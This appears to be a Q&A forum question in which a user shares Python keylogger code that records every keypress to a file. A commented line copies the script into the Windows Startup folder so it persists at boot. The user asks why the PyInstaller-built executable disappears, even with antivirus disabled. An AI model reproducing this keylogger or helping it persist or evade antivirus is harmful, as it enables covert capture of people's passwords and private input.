0

This is my code:

from pynput.keyboard import Listener 
import os 
import logging 
from shutil import copyfile

username = os.getlogin() 
logging_directory = f'D:/'

#copyfile('Keylogger.py', f'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Keylogger.py') 
#For executing this program everytime system boots

logging.basicConfig(filename=f'{logging_directory}/log.txt', level=logging.DEBUG, format='%(asctime)s: %(message)s')

def key_handler(key): 
    logging.info(key)

with Listener(on_press=key_handler) as listener: 
    listener.join()

So I installed pyinstaller and was able to create a .exe file called Keylogger.exe. However, after I run the program, it opens for a second and then disappears from the system. It's not in the recycle bin either. I also tried to run it as an administrator but it still shows the same results. When I executed this with cmd, it just said:

The system cannot execute the specified program

How do I fix this issue?

Update: I disabled anti-virus. Now it just says that the file can't be executed

ComputerBoi
  • 37
  • 1
  • 1
  • 7
  • I'd check your anti-virus logs. –  Dec 30 '20 at 18:34
  • Maybe you have to do something special to use Pynput with PyInstaller. Add some print()s to show how far it gets before dying? E.g. https://stackoverflow.com/questions/63681770/getting-error-when-using-pynput-with-pyinstaller#63721929 - do some searching – DisappointedByUnaccountableMod Dec 30 '20 at 19:02

0 Answers0